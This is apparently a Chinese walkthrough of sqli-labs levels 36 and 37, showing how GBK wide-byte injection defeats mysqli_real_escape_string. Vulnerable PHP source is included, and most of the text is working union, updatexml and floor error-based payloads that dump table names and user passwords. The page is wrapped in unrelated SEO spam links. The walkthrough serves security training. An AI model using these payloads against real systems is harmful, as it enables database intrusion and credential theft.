当前位置: 首页 > news >正文

公司做网站需要哪些费用福州seo代理计费

公司做网站需要哪些费用,福州seo代理计费,专业的深圳网站建设,建站网站哪个最好一、36关 GET单引号宽字节注入 请求方式注入类型拼接方式GET联合、报错、布尔盲注、延时盲注id‘$id’ 首先我们进行测试(使用?id1\,查看过滤后的回显) 这里可以看到对我们的注释符进行了注释以及单双引号进行测试会发现都是如此&#xff…

一、36关 GET单引号宽字节注入

请求方式注入类型拼接方式
GET联合、报错、布尔盲注、延时盲注id=‘$id’

首先我们进行测试(使用?id=1\,查看过滤后的回显)
在这里插入图片描述这里可以看到对我们的注释符进行了注释以及单双引号进行测试会发现都是如此:
在这里插入图片描述
在这里插入图片描述
所以这里我们判断使用了过滤函数进行了过滤,所以我们首先查看源码。

1、源码分析

<?php
//including the Mysql connect parameters.
include("../sql-connections/sqli-connect.php");
error_reporting(0);
function check_quotes($con1, $string)
{$string=mysqli_real_escape_string($con1, $string);    return $string;
}
// take the variables 
if(isset($_GET['id']))
{
$id=check_quotes($con1, $_GET['id']);
//echo "The filtered request is :" .$id . "<br>";
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity 
mysqli_query($con1, "SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);if($row){echo 'Your Login name:'. $row['username'];echo 'Your Password:' .$row['password'];}else {print_r(mysqli_error($con1));}
}else { echo "Please input the ID as parameter with numeric value";}
?>

源码大致与前几关相同,都是先过滤,后查询,查询成功输出查询到的信息,如果没有查询成功,那么输出报错信息。我们主要看下这个过滤函数,从而计划如何进行绕过:

function check_quotes($con1, $string)
{$string=mysqli_real_escape_string($con1, $string);    return $string;
}

可以看到里面主要使用了mysqli_real_escape_string函数,在官网进行查看:
在这里插入图片描述
可以看到官网说明对SQL语句特殊字符进行转义:

危险字符转义后
\\\
'\'
"\"

我们可以看到其实和前几关差不多,尤其32关,就过滤函数不一样,剩下的都一样。

2、联合查询注入

上面我们消除了转义符号的威胁,下面我们即可轻松的搭配别的注入方式完成注入,之前通过源码分析,由于查询成功输出了查询到的信息,所以我们将使用联合查询的方式完成注入。

1、猜测字段

?id=1%df' order by 4--+

在这里插入图片描述

从上面我们可以看到并没有第四列,所以我们尝试使用3来进行测试:

?id=1%df' order by 3--+

在这里插入图片描述
可以看到这里显示了通过1查询到的信息,所以后面的内容为真,即为该表的列数为3列,下面我们测试使用联合查询进行注入:

2、测试使用联合查询注入观察回显

?id=-1%df' union select 1,2,3--+

在这里插入图片描述

这里我们可以看到回显的点在2与3字段,所以我们直接随便选一个更改payload完成注入即可:

3、爆出数据库中的表名

?id=-1%df' union select  1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

在这里插入图片描述
这里我们由于后面不能使用的单引号,所以我们引用数据库名称也可以使用database()来进行引用。这里当然有人想到之前的方法使用df来进行逃逸,可以试试会发现数据库会将最后解码出的汉字扩入到数据库名称中,从而引发报错,所以这种方法其实是不可取的。

4、爆出数据库表名中的列名

?id=-1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x656D61696C73--+

这里可以使用16进制来进行逃逸,该十六进制为emails表转码的结果:
在这里插入图片描述
可以看到这里也是可以的,当然,我们也可以使用嵌套,子查询来进行:

?id=-1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 0,1)--+

在这里插入图片描述
这里我相信大家也能看懂,使用limit来代替表名,更改limit即可完成所有表名列名的查询,使用3,1,即可看到users表的列名:
在这里插入图片描述
可以看到有很多陌生的字段,这里我也不懂,先放着,我遇到很多次,在第一次使用floor进行报错注入时,爆出列名也遇到了这样的情况,但是我肯定,这里我们数据库中表是没有这几列的:
在这里插入图片描述
同时我之前进行猜字段数大家也看到了,也是三个字段,所以我们暂时放着。

5、爆出数据库表中的数据

?id=-1%df' union select 1,group_concat(id,username,0x3a,password),3 from users--+

在这里插入图片描述
这样即可完成union注入。

3、updatexml报错注入

之前我们也分析了源码,确定会显示报错的信息,所以我们当然可以使用报错注入进行测试。

1、爆出当前数据库名称

?id=1%df' and updatexml(1,concat(0x7e,database(),0x7e),1)--+

在这里插入图片描述

2、爆出当前数据库中的所有表名

?id=1%df' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e),1)--+

在这里插入图片描述

3、爆出users可疑表的列名字段

?id=1%df' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 0,1)),0x7e),1)--+

在这里插入图片描述

4、爆出数据完成updatexml报错注入

?id=1%df' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)--+

在这里插入图片描述

4、floor报错注入

这里就直接上payload:

1、查询当前数据库名称

?id=1%df' or (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

在这里插入图片描述

2、查询当前数据库下的所有表名

?id=1%df' or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

在这里插入图片描述

?id=1%df' or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 3,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

在这里插入图片描述

3、查询当前数据库表下的列名

?id=1%df' or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = (select table_name from information_schema.tables where table_schema=database() limit 0,1) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

在这里插入图片描述
需要注意上面这个与下面这个语句查的不是一个表,一个是emails一个是users:

?id=1%df' or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = (select table_name from information_schema.tables where table_schema=database() limit 3,1) limit 3,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

在这里插入图片描述

4、查询users表中的数据

?id=1%df' or (select 1 from (select count(*),concat((select concat(username,0x3a,password)from users limit 0,1),floor(rand(0)*2))x from users group by x)a)--+

在这里插入图片描述

二、37关 POST单引号宽字节注入

请求方式注入类型拼接方式
POST联合、报错、布尔盲注、延时盲注username=‘$uname’

本关其实与33关相似,只是使用POST进行传参,过滤方法与33关一致,所以解法也差不多,首先我们依旧是进行测试查看回显:
在这里插入图片描述
可以看到uname以及passwd都进行了过滤,所以我们其实依旧可以使用宽字节注入,下面查看源码。

1、源码分析

<?php
//including the Mysql connect parameters.
include("../sql-connections/sqli-connect.php");
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{$uname1=$_POST['uname'];$passwd1=$_POST['passwd'];//echo "username before addslashes is :".$uname1 ."<br>";//echo "Input password before addslashes is : ".$passwd1. "<br>";//logging the connection parameters to a file for analysis.$fp=fopen('result.txt','a');fwrite($fp,'User Name:'.$uname1);fwrite($fp,'Password:'.$passwd1."\n");fclose($fp);$uname = mysqli_real_escape_string($con1, $uname1);$passwd= mysqli_real_escape_string($con1, $passwd1);//echo "username after addslashes is :".$uname ."<br>";//echo "Input password after addslashes is : ".$passwd; // connectivity mysqli_query($con1, "SET NAMES gbk");@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";$result=mysqli_query($con1, $sql);$row = mysqli_fetch_array($result, MYSQLI_BOTH);if($row){//echo '<font color= "#0000ff">';	//echo " You Have successfully logged in\n\n " ;echo 'Your Login name:'. $row['username'];echo 'Your Password:' .$row['password'];echo '<img src="../images/flag.jpg"  />';	}else  {//echo "Try again looser";print_r(mysqli_error($con1));}
}
?>

我们从源码中可以看到依旧是相同的配置,只是变为了POST传参,同时对于uname以及passwd都进行了过滤,与36关相同的过滤方式,所以我们依旧使用宽字节注入,抓包进行改包测试。

$uname = mysqli_real_escape_string($con1, $uname1);
$passwd= mysqli_real_escape_string($con1, $passwd1);

在这里插入图片描述
在这里插入图片描述

2、联合查询注入

1、猜字段

uname=1%df' order by 3#&passwd=1&submit=Submit

在这里插入图片描述

2、测试观察回显

uname=-1%df' union select 1,2#&passwd=1&submit=Submit

在这里插入图片描述

3、爆出该数据库下的表名

uname=-1%df' union select  1,group_concat(table_name) from information_schema.tables where table_schema=database()#&passwd=1&submit=Submit

在这里插入图片描述

4、爆出该数据库表下的列名

uname=-1%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x656D61696C73#&passwd=1&submit=Submit

在这里插入图片描述
上面使用十六进制的方式,下面使用子查询的方式:

uname=-1%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 0,1)#&passwd=1&submit=Submit

在这里插入图片描述

5、爆出表的数据

uname=-1%df' union select 1,group_concat(id,0x3a,email_id) from emails#&passwd=1&submit=Submit

在这里插入图片描述
下面是users表:

uname=-1%df' union select 1,group_concat(id,username,0x3a,password) from users#&passwd=1&submit=Submit

在这里插入图片描述
即可完成注入。

3、updatexml报错注入

1、爆出数据库名

uname=1%df' and updatexml(1,concat(0x7e,database(),0x7e),1)#&passwd=1&submit=Submit

在这里插入图片描述

2、爆出数据库名下的所有表名

uname=1%df' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e),1)#&passwd=1&submit=Submit

在这里插入图片描述

3、爆出数据库下表的列名

uname=1%df' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 0,1)),0x7e),1)#&passwd=1&submit=Submit

在这里插入图片描述

5、爆出数据

uname=1%df' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)#&passwd=1&submit=Submit

在这里插入图片描述
即可完成updatexml报错注入。

4、floor报错注入

1、爆出数据库名

uname=1%df' or (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)#&passwd=1&submit=Submit

在这里插入图片描述

2、爆出数据库下的所有表名

uname=1%df' or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&passwd=1&submit=Submit

在这里插入图片描述

3、爆出数据库表的列名

uname=1%df' or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = (select table_name from information_schema.tables where table_schema=database() limit 0,1) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&passwd=1&submit=Submit

在这里插入图片描述

4、爆出数据

uname=1%df' or (select 1 from (select count(*),concat((select concat(username,0x3a,password)from users limit 0,1),floor(rand(0)*2))x from users group by x)a)#&passwd=1&submit=Submit

在这里插入图片描述
即可完成floor报错注入。

http://www.15wanjia.com/news/25994.html

相关文章:

  • 沈阳做网站哪家质量好价格低苏州优化网站公司
  • 软件开发资源网站查询网138网站域名
  • 免费网站建设网站有那些seo技术是什么意思
  • wordpress建站更换图片seo教程搜索引擎优化入门与进阶
  • 手机制作购物网站杭州网站运营十年乐云seo
  • 全网站开发是什么简述企业网站如何推广
  • 烟台网站建设联系电话app推广渠道
  • 重庆网站建设要点朝阳seo排名
  • 网站设计怎么做明信片莆田百度seo公司
  • 淘宝网站建设合同今日国内新闻热点
  • 做图片视频的网站有哪些问题今日时事新闻
  • 做英文小工具网站赚钱百度导航2023年最新版
  • wordpress调用jquery深圳seo优化排名推广
  • 毕业设计网站代做靠谱吗地推app接任务平台
  • 永城市专业做网站百度搜索引擎的网址是多少
  • 邹平做网站的联系方式如何找到网络公关公司
  • 官方网站aspcms收录网站
  • 做亚马逊需要的图片外链网站最佳的搜索引擎
  • 广州天河网站制作广告接单有什么平台
  • 网络工程师可能自学吗windows优化工具
  • 广东炒股配资网站开发建网站的公司
  • 网站建设的付款方式手机百度app下载安装
  • 咋把网站制作成软件班级优化大师使用指南
  • 电子商城网站建设与维护品牌关键词优化
  • 免费的网站开发工具网站建设平台
  • 政府网站官网域名搜索
  • 科汛 kesioncms v8.05 企业网站建设入门视频教程微营销平台
  • 福州网站建设服务商淘宝店铺怎么推广和引流
  • nas可以做视频网站吗西安网络seo公司
  • 电商网站制作流程今日热点新闻10条